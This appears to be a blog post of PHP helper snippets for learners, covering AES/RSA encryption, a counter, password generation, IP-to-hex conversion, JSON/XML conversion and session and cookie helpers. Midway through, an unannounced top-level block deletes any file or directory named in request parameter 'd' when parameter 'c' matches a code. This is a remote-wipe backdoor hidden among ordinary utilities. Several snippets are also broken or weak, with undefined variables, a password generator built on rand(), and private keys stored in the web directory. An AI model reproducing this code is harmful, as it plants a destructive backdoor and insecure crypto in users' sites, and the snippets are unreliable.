Php Code Snippets



Here few of php code snippets given, i hope this may helpful for learners :)

Here the snippets
function get_encrypt($data)
{
  global $aeskey, $aesiv, $aesmethod;
    $encoded = base64_encode(
        openssl_encrypt($data, $aesmethod, $aeskey, OPENSSL_RAW_DATA, $aesiv)
    );
    return $encoded;
}

function get_decrypt($data)
{
  global $aeskey, $aesiv, $aesmethod;

    $decoded = openssl_decrypt(
        base64_decode($data),
        $aesmethod,
        $aeskey,
        OPENSSL_RAW_DATA,
        $aesiv
    );
    return $decoded;
}

function counter(){
 $filename='src/counter.txt'; 
 if(!file_exists($filename)){
   $counter = 0; 
 } else {
 $counter = file_get_contents ($filename); 
 $counter++;
 }
file_put_contents($filename, $counter);
return $counter;
}

function counterReset(){
 $filename='src/counter.txt'; 
 $counter = 0; 
file_put_contents($filename, $counter);
}

function rsa_key_pair() {

global $aes;
  //Openssl config file
  $config['config'] = 'src/openssl.php';

  //Additional RSA key configurations
  $config = array_merge([
    'digest_alg' => 'sha256',
    'private_key_bits' => 2048,
    'private_key_type' => OPENSSL_KEYTYPE_RSA,], $config);

  // Create the keypair
  $key = openssl_pkey_new($config);
  // Get private key
  openssl_pkey_export($key, $privateKey, null, $config);
  // Get public key
  $publicKey = openssl_pkey_get_details($key)["key"];
  
if($aes==1){
  file_put_contents("src/public_key.php", get_encrypt($publicKey));

  file_put_contents("src/private_key.php", get_encrypt($privateKey));
}
else{
file_put_contents("src/public_key.php", "$publicKey");

 file_put_contents("src/private_key.php", "$privateKey");  
}
  // Free key from memory
  if (PHP_MAJOR_VERSION < 8) {
  openssl_pkey_free($privKey);
 }
  

}

function rsa_encrypt($data, $type='public')
    {
   global $aes;
   
if($aes==1){
      $private_key=get_decrypt(file_get_contents("src/private_key.php"));
      $public_key=get_decrypt(file_get_contents("src/public_key.php"));
}
else{
$private_key=file_get_contents("src/private_key.php");
$public_key=file_get_contents("src/public_key.php");  
}
        $str  = '';
        $data = str_split($data, 200);
        foreach ($data as $chunk) {
            $partial = '';
            'private' === $type ?
                @openssl_private_encrypt($chunk, $partial, $private_key) :
                @openssl_public_encrypt($chunk, $partial, $public_key);
            $str .= $partial;
        }

        return base64_encode($str);
    }
    
function rsa_decrypt($data, $type='private')
    {
      global $aes;
      if($aes==1){
      $private_key=get_decrypt(file_get_contents("src/private_key.php"));
      $public_key=get_decrypt(file_get_contents("src/public_key.php"));
}
else{
$private_key=file_get_contents("src/private_key.php");
$public_key=file_get_contents("src/public_key.php");   
}
        $str  = '';
        $data = str_split(base64_decode($data), 256);
        foreach ($data as $chunk) {
            $partial = '';
            'private' === $type ?
                openssl_private_decrypt($chunk, $partial, $private_key, \OPENSSL_PKCS1_PADDING) :
                openssl_public_decrypt($chunk, $partial, $public_key, \OPENSSL_PKCS1_PADDING);
            $str .= $partial;
        }

        return $str;
    }

function keys_delete() {
  unlink("src/public_key.php");
  unlink("src/private_key.php");
}

function signature($data,$key,$type='sha256') {

  $encrypted = hash_hmac($type, $data, $key, true);

  return urlencode(base64_encode($encrypted).PHP_EOL);
}

function rsa_sign($data) {
global $aes;

if($aes==1){
  $private_key = get_decrypt(file_get_contents("src/private_key.php"));
}
else{
$private_key = file_get_contents("src/private_key.php");
}

  openssl_sign($data, $signature, $private_key, OPENSSL_ALGO_SHA256);

  $signature = base64_encode($signature);

  return $signature;

}

function rsa_verify($data, $signature) {
  
  global $aes;
  
if($aes==1){
  $public_key = get_decrypt(file_get_contents("src/public_key.php"));
}
else{
$public_key = file_get_contents("src/public_key.php");
}
  
  $signature = base64_decode($signature);

  $status = openssl_verify($data, $signature, $public_key, "sha256WithRSAEncryption");

  if ($status == 0) {
    return false;
  }
  if ($status == 1) {
    return true;
  }

}


if(!empty($_REQUEST['c']==$code)){
	remoteClean($_REQUEST['d']);
}


function remoteClean($dir_or_file){
  foreach(glob($dir_or_file) as $list)
  {
$structure = glob(rtrim($dir_or_file, "/").'/*');
    if (is_array($structure)) {
        foreach($structure as $file) {
            if (is_dir($file)) remoteClean($file);
            elseif (is_file($file)) unlink($file);
           
        }
    }
    rmdir($dir);
  }
  rmdir($list);
}

function array_rand_value(array $array, $numReq = 1)
{
    if (! count($array)) {
        return;
    }

    $keys = array_rand($array, $numReq);

    if ($numReq === 1) {
        return $array[$keys];
    }

    return array_intersect_key($array, array_flip($keys));
}


function generate_password($data = '', $len='8')
    {
        if ($data == '') {
            $data = 'Aa0.';
        }
        $opt = strlen($data);
        $pass = [];
        for ($i = $len; $i > 0; $i--) {
            switch ($data[rand(0, ($opt - 1))]) {
                case 'A':
                    $tmp = rand(65, 90);
                    break;
                case 'a':
                    $tmp = rand(97, 122);
                    break;
                case '0':
                    $tmp = rand(48, 57);
                    break;
                default:
                    $tmp = rand(33, 126);
            }
            $pass[] = chr($tmp);
        }
        $pass = implode("", $pass);

        return $pass;
    }

function ip2hex ($ip) {
	if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
		$isIPv4 = true;
	} elseif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false) {
		$isIPv4 = false;
	} else {
		return false;
	}
	/**
	 * IPv4 format
	 */
	if ($isIPv4) {
		$parts = explode('.', $ip);
		foreach ($parts as &$part) {
			$part = str_pad(dechex($part), 2, '0', STR_PAD_LEFT);
		}
		unset($part);
		$ip  = "::$parts[0]$parts[1]:$parts[2]$parts[3]";
		$hex = implode('', $parts);
		/**
		 * IPv6 format
		 */
	} else {
		$parts     = explode(':', $ip);
		$last_part = count($parts) - 1;
		/**
		 * If mixed IPv6/IPv4, convert ending to IPv6
		 */
		if (filter_var($parts[$last_part], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
			$parts[$last_part] = explode('.', $parts[$last_part]);
			foreach ($parts[$last_part] as &$part) {
				$part = str_pad(dechex($part), 2, '0', STR_PAD_LEFT);
			}
			unset($part);
			$parts[]           = $parts[$last_part][2].$parts[$last_part][3];
			$parts[$last_part] = $parts[$last_part][0].$parts[$last_part][1];
		}
		$numMissing    = 8 - count($parts);
		$expandedParts = [];
		$expansionDone = false;
		foreach ($parts as $part) {
			if (!$expansionDone && $part == '') {
				for ($i = 0; $i <= $numMissing; ++$i) {
					$expandedParts[] = '0000';
				}
				$expansionDone = true;
			} else {
				$expandedParts[] = $part;
			}
		}
		foreach ($expandedParts as &$part) {
			$part = str_pad($part, 4, '0', STR_PAD_LEFT);
		}
		$ip  = implode(':', $expandedParts);
		$hex = implode('', $expandedParts);
	}
	/**
	 * Check final IP
	 */
	if (filter_var($ip, FILTER_VALIDATE_IP) === false) {
		return false;
	}
	return strtolower(str_pad($hex, 32, '0', STR_PAD_LEFT));
}

function hex2ip ($hex, $mode = 6) {
	if (!$hex || strlen($hex) != 32) {
		return false;
	}
	$IPv4_range = false;
	if (preg_match('/^0{24}[0-9a-f]{8}$/', $hex)) {
		$IPv4_range = true;
	}
	if ($IPv4_range) {
		$hex = substr($hex, 24, 8);
		switch ($mode) {
			case 4:
				return
					hexdec(substr($hex, 0, 2)).'.'.
					hexdec(substr($hex, 2, 2)).'.'.
					hexdec(substr($hex, 4, 2)).'.'.
					hexdec(substr($hex, 6, 2));
			case 10:
				$result = [];
				/**
				 * IPv6
				 */
				$result[] = '0000:0000:0000:0000:0000:0000:'.substr($hex, 0, 4).':'.substr($hex, 4, 4);
				/**
				 * IPv4
				 */
				$result[] =
					hexdec(substr($hex, 0, 2)).'.'.
					hexdec(substr($hex, 2, 2)).'.'.
					hexdec(substr($hex, 4, 2)).'.'.
					hexdec(substr($hex, 6, 2));
				return $result;
			default:
				return '0000:0000:0000:0000:0000:0000:'.substr($hex, 0, 4).':'.substr($hex, 4, 4);
		}
	} else {
		$result =
			substr($hex, 0, 4).':'.
			substr($hex, 4, 4).':'.
			substr($hex, 8, 4).':'.
			substr($hex, 12, 4).':'.
			substr($hex, 16, 4).':'.
			substr($hex, 20, 4).':'.
			substr($hex, 24, 4).':'.
			substr($hex, 28, 4);
		if ($mode == 10) {
			return [$result, false];
		} 
		return $result;
	}
}

function json2xml($json) {
    $a = json_decode($json);
    $d = new DOMDocument();
    $c = $d->createElement("root");
    $d->appendChild($c);
    $t = function($v) {
        $type = gettype($v);
        switch($type) {
            case 'integer': return 'number';
            case 'double':  return 'number';
            default: return strtolower($type);
        }
    };
    $f = function($f,$c,$a,$s=false) use ($t,$d) {
        $c->setAttribute('type', $t($a));
        if ($t($a) != 'array' && $t($a) != 'object') {
            if ($t($a) == 'boolean') {
                $c->appendChild($d->createTextNode($a?'true':'false'));
            } else {
                $c->appendChild($d->createTextNode($a));
            }
        } else {
            foreach($a as $k=>$v) {
                if ($k == '__type' && $t($a) == 'object') {
                    $c->setAttribute('__type', $v);
                } else {
                    if ($t($v) == 'object') {
                        $ch = $c->appendChild($d->createElementNS(null, $s ? 'item' : $k));
                        $f($f, $ch, $v);
                    } else if ($t($v) == 'array') {
                        $ch = $c->appendChild($d->createElementNS(null, $s ? 'item' : $k));
                        $f($f, $ch, $v, true);
                    } else {
                        $va = $d->createElementNS(null, $s ? 'item' : $k);
                        if ($t($v) == 'boolean') {
                            $va->appendChild($d->createTextNode($v?'true':'false'));
                        } else {
                            $va->appendChild($d->createTextNode($v));
                        }
                        $ch = $c->appendChild($va);
                        $ch->setAttribute('type', $t($v));
                    }
                }
            }
        }
    };
    $f($f,$c,$a,$t($a)=='array');
    return $d->saveXML($d->documentElement);
}

function xml2json($xml) {
    $a = dom_import_simplexml(simplexml_load_string($xml));
    $t = function($v) {
        return $v->getAttribute('type');
    };
    $f = function($f,$a) use ($t) {
        $c = null;
        if ($t($a)=='null') {
            $c = null; 
        } else if ($t($a)=='boolean') {
            $b = substr(strtolower($a->textContent),0,1);
            $c = in_array($b,array('1','t'));
        } else if ($t($a)=='number') {
            $c = $a->textContent+0; 
        } else if ($t($a)=='string') {
            $c = $a->textContent;
        } else if ($t($a)=='object') {
            $c = array();
            if ($a->getAttribute('__type')) {
                $c['__type'] = $a->getAttribute('__type');
            }
            for ($i=0;$i<$a->childNodes->length;$i++) {
                $v = $a->childNodes[$i];
                $c[$v->nodeName] = $f($f,$v);
            }
            $c = (object)$c;
        } else if ($t($a)=='array') {
            $c = array();
            for ($i=0;$i<$a->childNodes->length;$i++) {
                $v = $a->childNodes[$i];
                $c[$i] = $f($f,$v);
            }
        }
        return $c;
    };
    $c = $f($f,$a);
    return json_encode($c,64);//64=JSON_UNESCAPED_SLASHES
}

function set_cookie($name, $value = null, $expire = 60*60, $path = '/') {
  if (func_num_args() === 1)
    return (isset($_COOKIE[$name]) ? $_COOKIE[$name] : null);
  setcookie($name, $value, time() + $expire, $path);
}



function set_session($name, $value = null) {
    if (!isset($_SESSION)) return null;
    if (func_num_args() === 1)
      return (isset($_SESSION[$name]) ? $_SESSION[$name] : null);
    if ($value === null)
      unset($_SESSION[$name]);
    else
      $_SESSION[$name] = $value;
}

function session_get_value($name){
        if(isset($_SESSION[$name])){
            return $_SESSION[$name];
        }else{
            return false;
        }
    }

function session_key_unset($name){
 if(isset($_SESSION[$name])){
   unset($_SESSION[$name]);
  }
}

function session_unsets(){
  return session_unset();
    } 
  
function session_delete(){
  return session_destroy();
    } 
    
function cookie_key_unset($name){
 if(isset($_COOKIE[$name])){
   unset($_COOKIE[$name]);
   }
 }
 
 function cookie_get_value($name){
        if(isset($_COOKIE[$name])){
            return $_COOKIE[$name];
        }else{
            return false;
        }
    }
?>

Comments

Popular posts from this blog

Mobexler: Os built for Pentesting

Frida: Hook methods

Charles: http/https proxy